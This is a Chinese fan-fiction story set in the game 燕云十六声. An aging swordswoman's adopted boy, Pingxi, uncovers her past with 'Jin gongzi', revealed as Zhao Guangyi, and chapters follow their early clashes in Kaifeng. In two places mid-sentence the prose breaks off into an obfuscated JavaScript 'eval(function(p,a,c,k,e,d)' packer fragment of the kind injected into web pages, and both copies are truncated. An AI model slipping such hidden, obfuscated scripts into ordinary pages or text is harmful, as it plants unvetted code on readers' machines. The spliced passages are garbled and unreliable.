《咸平年间忆某君[燕云十六声]》 1. 无人共,霜雪催(序) 第一章·无人共,霜雪催(序) 咸平年间,寒冬。 她清早起来,窗外下起了雪。此时,她已头发花白,皱纹满布。内室陈设着年轻时用过的刀和剑,而今却再无气力挥动。屋外似有童稚喧闹,她下了榻,步履蹒跚地走出房间,平熹正搓着雪球。 听到响动,平熹回了头,看到了她,如看到魑魅魍魉一般,连忙将雪球扔到一旁,开始扎着马步。 “我有在好好练功!”平熹有些心虚地道。 仰头看着纷纷扬扬的大雪,心想,今日给平熹放个假也是好的。想来,她笑了,枯槁的脸上显现几道沟壑。看着平熹这番举动,她想到了儿时的自己。那会儿,她对江叔也是这副滥竽充数的模样。 “今日冬雪,放你休息。”她扣上斗笠,坐在木凳上。 很快,平熹听劝地泄了力,歪倒在她对面的木凳上。平熹从她的碗中熟稔地拿出绿豆糕,放在口中嚼了起来。她也从不怪他,甚至将搪瓷碗朝平熹的方向推了几寸。 平熹撑着下颌,双眼冒光,问她:“我已经长这么大了,总可以给我讲讲江湖中的事了吧?” “江湖中那些事......不过没什么。” 她嗤笑一声,脑海中再次勾勒那个人的脸。这么些年,自她跑到开封办完了白事,回清河的路上,遇上了平熹这么个人。那时,她一剑铲了几个小喽啰,平熹就躲在树后面偷偷看着。之后,平熹便乞求道:“大侠,你是江湖人吗?我也想去江湖上看看。” “江湖......江湖很残忍的……”嘴上是拒绝,可还是架不住平熹激动的态势,只好点点头,同意带他走。 其实,还是有些私心的。那平熹长的样子,颇为俊俏,年纪小小酷爱簪花,就连眉目都同那人如出一辙。她承认一时鬼迷心窍,今朝走火入魔罢了。思之成疾,却意外捡到了与他极为相似的孩童。 缘分吧......缘分就是如此说不清道不明东西。听闻平熹的父母皆在雍熙年间战死辽军的铁骑之下,而今他孤苦伶仃,只能靠乞讨卖艺为生。她早年入江湖,还抱着一捧赤诚之心,对旁人总是心软,算来也不忘初心。 “哼,你就不想让我去江湖就是了!”平熹赌气将头扭到一旁。 她反驳道:“我没有不让你去,只是你年龄尚小,生杀予夺之事,还是长大点儿办最好。” “好吧。”平熹继续道,“不过我还有一事不解,之前你又嫌我小,什么都不肯告诉我。喜儿叔有次跟我讲,说我跟几十年前一位常客长得很像,真的假的?你认识吗?” 她浑浊的视线又一次清澈起来,在平熹眼里,她似乎年轻了几十岁。然而,昙花一现,她又一次以迷茫的眼神望向他,看了许久,便将目光移开。 装傻地道:“什么常客,哪有什么常客?” 平熹微蹙起眉头,解释道:“喜儿叔说,是位身着白衣的翩翩公子,总爱戴着抹额,干起活来十分卖力,当年你指使着他干这干那,他一点怨言都没有。” 她静默,恍惚听到什么人叫她。她有时望着远处的山色出神,有时又一个人坐在凳子上,一坐就是一天。平熹老觉得她心事重重,十年的时光幻化张脸一样,每次他要问,她总是闭口不言,甚至将口袋中的松子糖放入他的口中,只为堵住他的嘴。 “喜儿叔怎么这都告诉你?” “就说我长得像他啊!”平熹拍了拍手,“喜儿叔还说,有时他会去开封许久,有时他又会在不羡仙待几日,会带很多好玩的物什给其他庄客。后来,他就再也没有来过了。” “平熹你想多了,你......一点都不像他。”她掺着泪,不知是喜是悲。 “算啦算啦,知道你不爱提。”平熹跳下凳子,一晃一晃地往屋内走,“反正我早晚都会知道他是何人,而今在何处!” 他是何人? 而今在何处? 平熹回到屋内,见村口有官府的人挥手,她便担负起东家的职责,抬着步子去接待。平熹远远地望着,又看着那些身着紫衣的人,不知为何,心里泛起一股悸动。他顺藤摸瓜偷偷跑到村口的木桩后,如同第一次见到她一般,鬼鬼祟祟地观察着。 他看着她接过官府的人送来的包裹,而后慢慢解开,不知看到了什么,深深地哭了出来。他没见过她哭得这么伤心,自始至终,在平熹心中,她虽然年迈却仍风光无限,枯朽老骨运功也堪比旧岁。而今,他不知道她为什么会哭,他心里也难受得很,连忙跑回家去,为她留了扇门。 她回来后,将东西放进柜子里,落了锁,便提着剑消失于潇潇风雪之中。平熹不知道她究竟要去哪,去找谁,也不知道她是否还会再回来,何时回来,亦不知道自己是否等得起她来。 平熹灵活地开了锁,摸索着里面的物件——这是他第一次打开她的柜子,看到柜子中存放的东西。一只褪色的青绿燕子状的风筝,一个毛躁的鹰羽,一株干枯的玉楼春,还有方才的包裹。 拆开包裹,是一件月白色暗花纹劲装,一个皮质肩甲还有一条抹额,黑纱材质,上面绣着金色的展翅之鹰。平熹拿着抹额,好奇的神色收敛些许。突然,在抹额之下,掉落一张字条。 晋公子遗物,还请少侠查收。 开封府 寿王 那时,平熹从未想过,他会这么快发现她藏匿许久的秘密,他也从未想过,曾有这么一个人,与她产生了万千的羁绊。甚至,在那之后,平熹再也无法面对镜中自己的脸,他觉得这张脸已经成为谁的脸,面目全非。 他佯装无事等到了他的十六岁,她终于放他去如愿的江湖了。平熹抱着剑初到开封,不再如乱世中荒乱,而是展现出一派欣欣向荣的景象。 平熹按照她为他画的舆图,顺着路线,先是到了升平桥。桥边早餐铺人气旺盛,刚出炉的肉包子、烩面和胡辣汤散发着诱人的香气。平熹肚子饿了,走过去对着菜品看了又看,这时,走来一位拄着拐的老者。 老者见了他,热泪盈眶,哽咽地道:“我当真是老糊涂了,竟然在这里看到了晋公子。” 晋公子? 那张字条。 “晋公子......”平熹打听道,“您可能认错了,在下初入江湖,不过一介草民之辈,身份弃之若履......” “你不认识晋公子......”老者抹去了眼泪,“以前老跟晋公子一块儿吃饭呢,想来好久没见到他了,也不知他身在何处,那少侠可还和他相好否?” 见老者远去,平熹连忙抬起脚步,挡住了老者的去路,急切地问道:“且慢,晋公子、少侠究竟是谁?” “那两位都是江湖中人,晋公子大名晋中原,在江湖中可谓闻名丰盛,人人称道之‘晋大侠’。”老者解释道。 “那......那少侠呢?”平熹恍然之间好像明白过来什么一样,明明心里的石头早该落地,可还是非得搬起来砸自己的脚。 直到老者说出了她的名字。 平熹真的恨不得把河边的石头搬过来,狠狠地砸自己的脚。她当初能将他捡回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“回大人,这人目中无人,傲慢无礼——” “不用,让他进去。” 寿王示意平熹跟着自己从门入,平熹也在侍卫大惊失色的神态中,顺理成章地进了开封府。 寿王将平熹带进后院的一个空厢房内,问道:“来还玉佩?” 将玉佩放在桌子上,寿王二话不说将玉佩捡起,放入自己的衣袖中。他甚至不看一眼,就自顾自地打开一个木匣子,玉佩被轻柔地放了进去。只听“訇”的一声,木匣子缓缓合上,寿王双手捧着它,站定在平熹面前,无声地打量着他。 “她派你来的?” “嗯,也不完全是,只是顺道让我送来。” “哦?”寿王淡淡地应了一句,“我是真没想到,你和先......晋公子长得真像。也难怪她会让你来,而不是让不羡仙的其他人来。” 平熹毕恭毕敬解释道:“我此次前来,不止物归原主,还有一事,需好些问问大人。” 令平熹诧异的是,说出这番话本就心惊胆战,还抱着寿王不会答应的心思,没想到寿王九这么轻而易举且情绪平和地答应了,仿佛早就料到他会来问一样,就像这块玉佩,早晚有一天,又会重回开封府。 “是也该来问了,不然,这东西都快老朽了。”寿王重新打开木匣子,从里面掏出了保护完好的书册子。 “身为她捡来的孩子,应当好好看看,也算是尽了晋公子一念了。” 2. 轻纵马,趁年华(一) 第二章·轻纵马,趁年华(一) 此时正值咸平年间的夏日,开封府暑气正盛。下人给寿王送来几块冰和甜食,便识趣地匆匆离开。寿王处事周到,知道眼前这人同先帝乃至少侠都有匪浅的关系,便又差人给平熹几袋宋元通宝。 平熹接过钱袋子,往手中掂量掂量,又退还给寿王。 他说:“我不要,她给了我很多。” 寿王笑笑,继而道之:“要不要是你的事,给不给是我的事。来路奔波,本官允你在府中歇息片刻。”说罢,以处理公务为由,替平熹阖上了门扉。 平熹终究没有动那钱袋子,将其放于桌上一角,而后捧着寿王给的小册子,一页一页翻开。纸张有些泛黄,落于风中,宛若一曲离殇。他从后往前翻,一直翻到第一页,上面用更为美观工整的笔触写了一句话。 墨色已干,沾染白卷。文辞不似史书书写如此官方得体,相反却颇为随意,信手拈来的一曲心事而已。 上面有写:至道元年,我又忆起建隆年间的事。许是年老体衰,病入膏肓,睡梦中又老是想起年轻时的光景。我的好少侠,这么多年未见,你又在何处江湖快马恩仇?也许,真像你那时说的一般,等到老了走不动道,也该回到故地好好颐养天年。我时日不久,身体江河日下,气息奄奄。只想将这信寄于你,你道个平安便是好的。奈何,我回天乏术,家事国事天下事声声不绝于耳,我是抽不开身子,此信只好封存。又没办法去不羡仙再游览一番,想来真是遗憾。天涯相望,愿你平安,如此,如此。 不知为何,平熹读完,心窝子总是一股温热。他指尖颤抖着翻到下一页。彼时窗外风声缱绻,似有雨声滑落,平熹闻声,往厢房外看去,街上人烟熙攘,众多江湖侠士游走,只一人曰:“建隆三年柳花碧水,人间春光,婉约你我。” * 那是建隆三年,春光明媚。某日,她提剑来开封,寻着东阙公子给的消息,意将离人泪赠予他。 她那时年龄尚浅,抱着一颗赤诚之心,又在不羡仙生活多年,心思单纯,压根没想到人心和人性是两种不等之物,论周延倒是一点都不周延。她在麦香集被人骗得团团转,却依然侠胆义肝。 赵大哥在朱门大街瞧见她的武术和剑法,同故人极其相似。又听闻她要去群英会却无入会条件——群英贴。只好,乘船带她伪装成醉花阴子弟,蒙混过关。却不料生金瓯不慎掉落,一瞬间成为众多名侠的众矢之的。 拳打脚踢,现场一片混乱,那生金瓯不知何时落入她的手中。运气十分不好的是,落入她手中之后,不知是谁,大喊一句:“生金瓯在这里!” 很快,万千侠客奋勇上前,同她真刀真枪卖命抢着。她压根来不及思考小福她们怎么把生金瓯塞到她手里,只能使出浑身力气,用江叔教给自己的剑和枪同他们战。她天资卓越,纵然年纪清浅,对付他们却如鱼得水,不一会儿,便将最后一帮天泉子弟打倒。 跃出迷雾,她还未站定,方才击败的侠客便朝她靠近。她左顾右盼,这时,赵大哥身着醉花阴的服饰过来,制止道:“都别动,俺已经报官了!” 她眉头一蹙,悄声问道:“赵大哥,你什么时候报的官?” 这时,站在她对面不远处的红衣官员史鸩踱步走上前,能撑着船的肚子高高挺起,纵使步履缓慢,那肚子随着步伐一晃一晃,惹得人移不开眼,这身材实在是太蓬荜生辉了。 史鸩语气傲慢,捋着胡须道:“报什么官,本官不是官——” 话音未落,在人群之外,她的身后,又传来一位豁然开朗之声:“何人报官?” 此声清悦脆耳,看似平淡无奇,实则有喧宾夺主的权威在。她身形一抖,连忙转身,一位英俊的紫衣官员背着手,目光先停在自己身上,又转而向赵大哥方向看去。 史鸩见风使舵,回了紫衣官员一礼,她一侧目便察觉,这人品级极高,颇有高处不胜寒之态,于是也警觉起来。 “是俺!”赵大哥凑上前。 史鸩连忙道:“大人,方才——” 却被紫衣官员无情打断,他语气倏然变得温柔,望向赵大哥的眉目也不再如此狠厉。他问赵大哥:“可有受伤?” “托大人关心,伤是没有的,就是有点狗屎运,有点......嘿嘿嘿......走光。” 见赵大哥同紫衣官员一身轻松恬淡,她站在赵大哥身后,看着如此相敬如宾的二人,内心竟生出一种错觉,这赵大哥并非如她想得如此简单,他应当比紫衣官员的品级还高。 很快,赵大哥想到了她,连忙对紫衣官员道:“方才大家都在抢聚宝盆,所幸被少侠护住了!” 那紫衣官员顺势向她看去,她穿着醉花阴的服饰,不过及笄之年,浑身上下透露出初入尘世的不安于室。她同紫衣官员对视着,忽而觉得这张脸似乎很早之前见过,不过她没什么印象,只是觉得熟悉。 他看着她良久,这才将目光转向她怀中抱着的布包,发出了命令:“打开布包。” 她听从号令,顺从地打开布包—— 全场众人,刹那间目瞪口呆。谁也没有想到,布包里面连个生金瓯聚宝盆都无,只是一个穷酸简陋的夜壶。 一时间,议论纷纷。她诧异,慌忙之下,手中的布包落入地面。 惊呼道:“这......这竟是个夜壶!!!” 她无助地望向赵大哥,赵大哥也同她回了个“一问三不知”的迷茫神色。她环顾四周,不由得往后退了几步,只听紫衣官员命侍卫去搜寻生金瓯聚宝盆的去向,她深知下一个要被搜的人便是自己,不由得紧张起来。 以前在不羡仙任性惯了,没经历过如此惊心动魄的场景。要说有吗?那确实有的,但更多的是缺乏的遗憾和悲壮。 “你是什么人?”紫衣官员道。 她有想过自报家门,但目前不羡仙被绣金楼占据,她怕绣金楼又同眼前这分外熟悉却叫不出名字的人有什么联系,只家门隐匿,只说了户籍。 “在下清河籍人士。” “清河籍人士。”紫衣官员重复着,一挑眉,轻笑一声,随后问道,“为何来此?” 她朝他解释道:“我与人约好要来这里做一笔交易。” “做交易?”紫衣官员戏谑地道,“做交易为什么要抢聚宝盆——” 她立马反驳道:“大人,我不是抢,我只是保护——” 另一旁又响起一个声音,东阙公子慵懒地靠在椅子上,架着一条腿,分外不屑地道:“诶啊,京尹大人查案的样子真是威风凛凛,当配得上‘光’‘义’二字!” 身后的一位侍卫道:“你怎敢直呼京尹大人名姓!” 当今圣上姓赵,眼前这位紫衣官员位高权重,想必是圣上心腹。她注意到他腰间挂着的玉佩,青翠色的,制作精致华丽,上面刻着“匡义”二字。虽是乡下人,她自然明白圣上座中,应当避讳一事。 也难怪东阙公子叫他“光义”,为了避讳,圣上将“光义”之名赐给了他。她聪明过人,心想,这人应当是官家的弟弟——赵光义。 “出了这么大事,东阙公子还有心欣赏别人,真是难得。”赵光义冷笑一声,喜怒不置于形。 “我们江湖中人,不过是草莽之辈。这查案一事,倚靠官府的人不是更有保障吗?”东阙公子站起身,双手叉腰地反问道。 这句话听得十分不善,但赵光义还是将计就计,道:“排查诸人身份。” 一声令下,侍卫立刻开始排查那些侠客的身份。她往那处看去,只见人人都从衣袖或衣襟里掏出了群英贴,而就她和赵大哥没有。这要是有什么万一,事儿大发了,后患无穷。 果然担心什么就来什么。赵光义往身旁的一位侍卫使了个眼色,那侍卫就上前一步,对她道:“请出示你的群英帖。” 群英贴,她没有群英贴啊! 她尴尬地笑了笑,而后道:“我......” 侍卫了然,回首抱拳躬身,毕恭毕敬对赵光义道:“禀大人,此人并无群英帖。” “呵,”他面色不善,带着点愤懑,却还是耐着性子将视线转向她,“哦?你的同伙是谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵光义顿感指尖一痛,她一口咬住他的指腹,赵光义“嘶”的一声,连忙抽身,凭空甩了甩手。 “真倔,”他敛去神色,恢复如初,“允你七日,七日之内我会说案件尚未告破,倘若真不是你,时限结束前尽快找到盗宝真凶。否则——” “否则,毒发身亡?” “呵呵,倒真是聪明人,本官最喜欢聪明人。”赵光义顿了顿,眼眸微微眯起,压低声音道,“不过,我想要你的命,还用得着七日后?” 众人散去,她也劫后余生般来到樊楼外。她环顾四周,按住了腹部,这肚子里还装着七日断魂丸,她也分不清他究竟按的什么心思。 后来,当她再回忆起这段时光,竟如此难以割舍。回头想想,她这一生未免也太波澜壮阔,唯有遇见他,才是心上方存天地。当时难以言说的“恨”,终究会慢慢磨平成“爱”。 马车摇摇晃晃行驶在街上,赵光义撩开车帘,只一眼就看到她孤零零站在街口,手中抱着佩剑,眼中流转着对开封的惊喜。 心想,开封当真如此,惹得她能沉醉其中? 再一走神,马车又行驶老远,那个身影转身消失于人来人往之间。 回到开封府,他伏于案牍之间。新朝刚建,世道未平,每日送往府里的公文格外的多,甚至连报官的百姓也一批接着一批。 乱世之下,贼子当道。 他握着笔的手一顿,注意到紫青紫青的指腹。 “真有劲儿。”他暗中叹了口气,揉了揉指腹。 赵光义实在没想到还能在樊楼群英会见到她,一如几个月前,他在清河查盗圣君不见一事,那位武功高深、非凡卓越,能飞快地捉到老金,又能捕到君不见一般,还是那么灵动,是他没见过的样子。 当时,就对她留有深深的印象。 果真是......不可言说之缘。 想到这里,赵光义便招呼着随身侍卫过来。 侍卫急促走来,问候道:“京尹大人。” “今日那位少侠,去查。”赵光义吩咐道。 3. 轻纵马,趁年华(二) 第三章·轻纵马,趁年华(二) 剩余的时间,她暂时追查不到生金瓯聚宝盆的线索,只好悻悻然在开封城内闲逛。这不刚拐了个弯,进了一巷口,就遇上了点儿事。几名无忧帮打扮的人正将一个人堵在墙角,意在对那人为非作歹。她一下子就来了气,走上前,不过一眨眼的工夫,将无忧帮的一行人暴揍一顿。 周围的百姓见着热闹纷纷围了上来,看到她飒爽英姿,将无忧帮的人走得屁滚尿流,不由得鼓起了掌,说什么“为民除害”之类的话。她一惊,连忙摆手,只道:“过奖过奖,这一行人,不费吹灰之力,一点意思都没有。” 这时,一人走上前,问她:“要不要报官?” 听到“报官”二字,她一下子就想到了樊楼里闹得不愉快的赵光义。那赵光义如此倨傲的神态在她心里挥之不去,尤其是方才她走在街上,竟还看到了开封府的车马。不用想便知道,这里面坐的是可是尊贵的赵光义。 狗官!狗官!狗官!她在心里暗中骂道,这肚子里还含着他给的七日断魂丸,这人简直玉面蛇心,心狠手辣,不过一面之缘,竟能将她置于死地。 “报官?”她回拒道,“我这都解决了,还要去报官,这不白费工夫吗?!” 那人道:“不会白费功夫的,官府大人办案光明磊落,公平公正,定能还这位公子一份清白。” 官府大人办案光明磊落,公平公正......她冷哼一声,断然觉得这人怕是收了官府什么好处,特意来民间宣扬官府威严的。还要还清白呢,人没被官府抓进府牢里就不错了。 她没回答那人,而是转头问身后的公子:“你还好吧,可有受伤——你的手臂——” “无妨无妨,不过一点小伤,回去休养几日便好。”他捂着手臂,对她笑了笑,“多谢少侠出手相助,在下名叫付温书。” 当真是应了那人的话,待她转身想让那人去报官时,听旁人说,那人已经提着步子往官府走了。不过这开封城这么大点儿地,旁人口中说的官府,那只能是开封府了啊!她决定赶紧安置好付温书,而后抬腿跑路,顺便挂一个拾金不昧的好名头。 “你这人怎么这么出师不利呢?”她叉着腰,“怎么好好地就挨打了呢?” 付温书无奈地叹了口气:“我本是来进药材的,谁承想竟惨遭无忧帮的毒手......” “你是大夫啊?!” “不算大夫,只是精通点医术。”付温书谦虚,抬起未受伤的手整理了一下自己的衣冠,“原先在这附近开了一家医馆,后来时运不济,这医馆没开成,倒闭了,赔了不少钱。” “你这医馆都关了,还进药材呢?”她不解,将手中的佩剑架在脖子上,横着一张脸问。 付温书却淡淡地笑了笑,这种问题,无数人问过他,他已经见惯了。起初是有些不耐烦,是有些惭愧,后来习以为常,也变得不这么抵触了。乱世之下,谁都有苦衷,既然有人问了,说出来又何妨? “少侠有所不知啊,这几日官府收缴唐钱收缴得紧,这百姓们啊,手头本就没什么钱,唐钱收缴之后,这日子是越来越难过了,苦的苦,饿的饿,病的病,死的死......我这人天生性子软,怜惜吝啬,只能尽己所能的扶危济困。” 又是官府,又是唐钱。 脑海中再度勾勒着赵光义的脸,想到他肯定冷眼看着众生疾苦,自己坐享庙堂之高,吃穿不愁,整日整夜纸醉金迷,用最名贵的药,食最金贵的饭,却忧不得江湖之远的任何事情。收缴唐钱一事更是闹得开封城百姓人心惶惶,本就没钱的日子,这些更没钱了。好不容易存的钱,也被官府收缴了。 她最烦官府的人了。 “大家日子本就过得惨,那无忧帮的人,我好心救他们,却被他们反手打了一顿。”付温书说着说着就泣如雨下,丝毫不见外,恨不得将满心满腹的烦闷愤懑,一一告诉这位路见不平拔刀相助的她。 她热心肠,特意蹲下身好心安慰他。她懂得一些悬壶之法,简单地处理了一下他的皮外伤,至于那断了个手臂,还需等到名医过来,好心医治静养,才好。 不一会儿,方才说着要报官的人换了一身行装,身后跟着五六七八个捕快,带着开封府的令牌,握着利剑浩浩荡荡过来。他们将无忧帮那行人扣上铁杻,而后那人对她拱手,道:“少侠,还请你带着这位公子去开封府做个笔录。” 这件事她也算是亲历者,事关重大,也想为付温书讨个名堂,只好朝付温书对视一眼,跟随着捕快,往开封府那里走去。纵然她极度不想去开封府那个地儿,但一想到付温书和他的医馆,以及开封府的万千百姓,她依然踩着步子,行过街巷。 进开封府后,捕快领着他们去了李公明办公的房间里。李公明先让捕快将无忧帮一行人押入牢狱,稍后再审,而后拉着她和付温书做了简单的笔录,最后见付温书菩萨心肠,让府医带他去疗伤,又见她行侠仗义,又让下人给了几袋钱和吃的。 “我不要。”她抱着剑,板着脸,一脸从容。 李公明这就不解了,现在这个世道下,做好事得个钱,可是众人求之不得之事。这小丫头还说不要,当真是......李公明不知道该说什么好,只能将那吃的推给她。 她依然摇头:“吃的我也不要,我有钱,能买吃的!” “哈哈哈哈......”李公明道,“少侠,做好事是值得赞扬,但做好事却拾金不昧,这便不给开封府面子了吧?” “外面百姓因收缴唐钱,都过不少好日子,你现在吃穿用度不愁,竟还能笑着脸给我钱。” 得亏当时国朝刚建,世道不平,人心不古,李公明也算人好,没怎么计较她说的这番大逆不道的话,要不然......李公明想,这要是换成京尹大人,指不定眼前这人会经历什么呢。 “好好好,全听少侠的。”李公明由着她性子来了,“只是少侠啊,莫不要一叶障目啊!开封府是不会不管民生的,自古以来,孔孟之言,都谈‘民为水,君为舟’,开封府自上到下,深谙治世之道。” 她表面上是浅浅地“嗯”了一声,内心却想,不过是读了几部圣贤书,端个架势罢了。 待她从李公明的房间出来,隔老远就看到府中一角,站着一位熟悉的不能再熟悉,甚至一见到他就会反胃,心生怨恨的身影——赵光义。 而他眼前还站着一个人,同样紫衣官帽,只是年龄稍微大了点儿。她见赵光义对那人毕恭毕敬的模样,不由得好奇,究竟什么人能让赵光义如此尊敬,于是绕到廊柱后,偷偷听着。 “你大哥说了,收缴唐钱一事不能操之过急,得有个过程。”对面那人语重心长地道,“你看现在整个开封城,每天盗匪成群,贼子截客,这哪有平之气象。” 对,对,对,就是这样。 在心里同这个人是站在一起的。 果然开封府还是有好官的! 她要感天地泣鬼神了。 赵光义却不以为然,道:“蒲先生这就说得不对了,唐钱一事,必须尽早收缴完才好。不然,今日东一处唐钱,明日西一处唐钱,这该如何是好?不仅唐钱越来越多,物价也越来越贵。汉代武帝即位之初,便以均输平准为根本——世事凋敝不假,若想稳步尚好,统一货币才是王道。” “这可以慢慢来嘛,这才第三年。”蒲先生说,“民心为重,才能治乱为安。” “蒲先生是认为我不体察民心吗?”赵光义语气不悦,反问道。 切,赵光义这人能体察民心就怪了! 这位蒲先生人真好! 她快哭了。 这才是真正能成为京尹的人。 赵光义算什么…… 蒲先生看样子也说不了什么,看赵光义如此毅然决然的样子,只好道:“身为京尹,我和你大哥的话,还是适当听一听。你纵然一心不二,万一世道不遂你愿,这该如何是好?” 赵光义:“......” 蒲先生:“对了,大哥让你同她,今晚来我府中吃烤肉——对了,大哥让你叫上少侠。话说,少侠是谁,你新认识的人,还是大哥新认识的人?” “我不认识。” 蒲先生:“......” 苦笑了几声:“哈哈哈哈,那就是大哥认识的人喽!” “大哥真是人脉通广,善于结交啊。” 意有所指。 赵光义眉头微蹙,前不久让侍卫去查的东西,现在侍卫也没回来。他本觉得樊楼群英会,故人重逢,本应当慷慨而谈,奈何她竟对他是这种态度,何止如此,她还咬他! 她躲 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下一秒,一个声音阴森森,宛若厉鬼一般,在她身后响起:“少侠要把何人揍得屁滚尿流?” 这是听墙角被发现了。她额头直冒汗,都不回头瞅他,心下浮沉,一紧张竟忘了她还能用轻功飞檐走壁,当机立断拔腿就跑,却忽略了赵光义本就肩背挺拔、身形宽阔,不出几步就被他提着领子拽了回来。 她大喊道:“你个狗官,给我放手!谁让你拽我的!放手!” “少侠这是怎么偷跑进开封府来了?”赵光义站在她背后,声线发冷。 她立刻驳斥:“什么叫我偷跑,我只是为民除害,来开封府做个笔录。” 他一听,倒是轻微笑了,反问道:“为民除害?少侠倒是跟本官讲讲,为民除什么害了?” 脑海中闪过一句话:就除你这个祸害! 但表面上却故作平静地将来去缘由告诉了他,赵光义耐心听着,时不时皱一下眉,在听到她拳打无忧帮,救济付温书时,那眸色犹如万川融雪一般,豁然开朗。她注意到他神色变化,不知为何,竟产生一种错觉。 纵使殊途,亦能同归。 她在想什么?绝对不是因为京尹大人如此闭月羞花,沉鱼落雁才想出来的! 不行!她扪心自问,压抑住内心不由分说的悸动,因此述说经历的话,颇有些“半身不遂”之意。 “我明白了。” 虽然能听出她的语气中带有阴阳怪气之味,但他还是自动忽略,反而聚焦于付温书医馆的事情上。赵光义心里打着算盘,心想,若能求大哥同意,将付温书搞到太医署来,似也不愁生计了。付温书依然能用他的悬壶之术,救助世人。 “少侠,不知方才你从我和蒲先生那里又听到了什么?” 赵光义稍一挑眉,打趣地道,他自然知道以她的耳力,定然是全听到了,但心里还是想逗逗她,看着她意气风发又或者一副恶狠狠盯着他的样子。 嗯,他竟然觉得有趣。 “蒲先生说得对,你一点都不注重民心!”她开门见山,完全旁若无人。 惹得赵光义身后跟着的侍卫都握住手中的佩刀,恨不得蜂拥而上,将其三下五除二捆绑起来,扔入大牢。 “哦?”赵光义一下子来了兴致,“你倒是第一个以这种态度对本官说话的人。” 她微微一怔,很快入了戏,互相恭维:“那还真是荣幸了,京尹大人。” 赵光义又问:“还有呢?” 她心下了然,抬手制止道:“我会自动去寻赵大哥和蒲先生,不用京尹大人相送!” 看到赵光义的眸色中闪过一丝转瞬即逝的失望和黯然,她心下有些慌乱,但更多的是疑惑,为什么她能如此察言观色赵光义的神态变化、一举一动。她只当它是厌恶,它是怨恨,仅此而已。 相反,赵光义在听闻她的拒绝后,竟觉得有些不公。他认识这么多人,或朝廷达官显贵,或江湖草莽之辈,哪个不是顺水推舟,按赵光义的一切意思走,偏偏狭路相逢,来了一个清河人,举手投足之间,只可用几个字来描述—— 安能摧眉折腰事权贵。 有趣。 很有趣。 赵光义求之不得。 4. 轻纵马,趁年华(三) 第四章·轻纵马,趁年华(三) 乱世当道,气候不好,平日春日已无雪。她背着佩剑路过寿昌坊时,天上黑云压城,不多时白茫茫零零落落从天而降。行人脚步匆匆,嘟囔着:“下雪了,下雪了!”而后飞快地各回各家。 她能得知蒲先生的府住在寿昌坊附近,离开封府不近不远,却不知道是那幢高楼。她左冲右撞,询问了好些人,但那些人要么不肯言,要么不知道。 没办法,她竟有些后悔,当时一时逞强,非得拒绝赵光义的护送,现在才明白,赵大哥究竟为何硬要他送她——庭院大同小异,兼具中原关汉和江南水乡的风格,令人找不到北,她疑似进入鬼打墙的局面。 算了算了,她觉得站在高处看得更远,于是运起轻功,跃上屋顶。踩着沈府、范府的屋瓦,闻着由远及近的炭火味,终于找到了蒲先生的府邸。 她听闻府里传来几个闲言碎语,诸如“你说那摘星手和老爷究竟是什么关系”“得亏摘星手护着少爷,不然老爷要被气死了”之类。她一边飞檐走壁赶路,一边心想这摘星手究竟是谁。 终于,炭火味愈来愈浓,她蹲在某一处屋瓦上,从上往下看,果然看到了作响的炭火,还有一丝烧菜的味道,肚子“咕咕”叫了两声。 好香啊! 她低头张望,妄想寻得赵大哥的身影,却不料率先看到正站在一旁来回踱步的白衣公子。那白衣公子头戴黑纱飞鹰抹额,头发梳得利索,用绳子在头后扎了根小辫儿,右肩戴着薄甲。她欲要跳下的脚步一顿,细细地打量起这白衣公子来。 怎么好像在哪里见过? 好像那会儿不羡仙还在,盗圣君不见浮景游船、千金散尽那次。当时君不见、温无痕和老金把她耍的团团转,纵然你气不打一处来,可还是对那位“晋公子”印象深刻。没想到竟然在蒲先生的府中再一次见到! 那位晋公子,性格温柔儒雅,一身正气,处事周到。他乾坤朗朗,一脸光风霁月,当时坐在她的对面,她连温无痕的话都听不进去,只一心偷偷看他。解决完盗圣君不见后,是晋公子同她告别。 当时那句话怎么说得来着? “游侠,告辞。” 她当时称他为“晋大侠”,也说了一句:“晋大侠,有缘再见。” 没想到今日之时,竟真的再度相见了。 求之不得,寤寐思服。 她正在想如何同晋公子打招呼,却忽而听见晋公子开口:“南北之事,只论难易,不论利弊,先生的目光是否太过短浅?” 这般运筹帷幄的语气,怎么听得有点像赵光义的呢? “延宜啊,凡事不能纸上谈兵,还要看眼前的路是不是能走才行啊!”这是蒲先生的声音。 等一下,蒲先生方才叫晋公子什么? 好像叫“延宜”。延宜......等等,“延宜”不是赵光义的字吗?今日在开封府,这蒲先生就这么叫赵光义。 想到这里,她的心一下子沉入谷底。所以,她一直以来印象深刻且颇具好感的晋公子竟然是京尹大人赵光义?就是那个樊楼群英会喂她吃七日断魂丸的京尹大人赵光义?就是那个一心一意收缴唐钱却不为民时的京尹大人赵光义? 这怎么可能?! 下一刻,赵大哥的声音传来:“都别吵了,一会儿把嫂子吵来,谁也别想好过!” 蒲先生立即道:“我、我才不怕她!我请朋友吃烧肉,有、有什么错?” 很快,赵大哥爽朗的笑声传来:“哈哈哈哈哈哈哈......是没错是没错......好啦好啦,难得开封春日下雪,吃个烤肉怎么了?!光义啊,你也别老跟赵普置气,待会少侠过来,看咱们剑拔弩张的气势,恐怕得吓跑吧!” 真的是他。 她得知晋公子就是赵光义后,恨不得食言跑路,奈何她并非失信之人,做不到毁约之事,只能硬着头皮跳下屋檐,稳稳地落于地面。 看着从天而降的不速之客,赵大哥先是一惊,待雪花飞散,赵大哥咳嗽一阵,方知这并非是不速之客,乃是少侠。 赵大哥这才松了口气,看她冒着浩荡风雪,一路风尘仆仆过来,连忙走上前,找下人给她端了杯热茶。 她接过热茶,道了声谢,下一秒赵大哥就说:“诶哟,太好了,救场的人终于来了!少侠好见胆!” 她困惑地挠挠头,支支吾吾地道:“我?我救场?你们在吵什么我都不知道......” 话音未落,她似乎感受到一旁的赵光义往这边瞥了一眼,她也顺势看去,转眼就看到他背过身子,面对着结了一层霜的院墙,背着一双手,不知在想什么。 